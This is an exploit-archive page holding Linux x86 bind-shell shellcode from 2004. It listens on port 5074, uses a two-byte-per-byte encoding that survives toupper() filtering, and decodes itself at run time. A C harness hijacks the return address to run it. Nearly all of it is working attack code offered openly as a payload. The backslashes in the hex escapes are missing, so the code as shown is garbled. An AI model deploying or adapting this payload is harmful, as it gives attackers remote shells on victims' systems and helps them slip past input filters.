[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 portbind port 5074 toupper 226 bytes
# Published : 2004-09-26
# Author : Tora
# Previous Title : linux/x86 symlink /bin/sh xoring 56 bytes
# Next Title : linux/x86 add user t00r ENCRYPT 116 bytes
/*
* Bindshell puerto 5074 (TOUPPER EVASION)
* 226 bytes
* Bindshell original: Matias Sedalo (92 bytes)
*
* La binshell esta codificada usando 2 bytes para
* representar 1 byte original de la siguiente forma:
* byte original: 0xAB
* 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C
* byte codificado: [0x4B 0x4C]
*
* by Tora
*/
#include <stdio.h>
#include <ctype.h>
char shellcode[] =
/* _start */
"xebx02" /* jmp short A */
/* A */
"xebx05" /* jmp short C */
/* B */
"xe8xf9xffxffxff" /* call A */
/* C */
"x5f" /* pop edi */
"x81xefxdfxffxffxff" /* sub edi, 0xffffffdf */
"x57" /* push edi */
"x5e" /* pop esi */
"x29xc9" /* sub ecx, ecx */
"x80xc1xb8" /* add cl, 0xb8 */
/* bucle */
"x8ax07" /* mov al, byte [edi] */
"x2cx41" /* sub al, 0x41 */
"xc0xe0x04" /* shl al, 4 */
"x47" /* inc edi */
"x02x07" /* add al, byte [edi] */
"x2cx41" /* sub al, 0x41 */
"x88x06" /* mov byte [esi], al */
"x46" /* inc esi */
"x47" /* inc edi */
"x49" /* dec ecx */
"xe2xed" /* loop bucle */
/* Shellcode codificada de 184 (0xb8) bytes */
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
"BLAALMNIA";
int main(void)
{
int *ret;
char *t;
for (t = shellcode; *t; t++)
if (islower(*t))
*t = toupper(*t);
ret=(int *)&ret +3;
printf("Shellcode lenght=%dn",strlen(shellcode));
(*ret) = (int)shellcode;
}
// www.Syue.com [2004-09-26]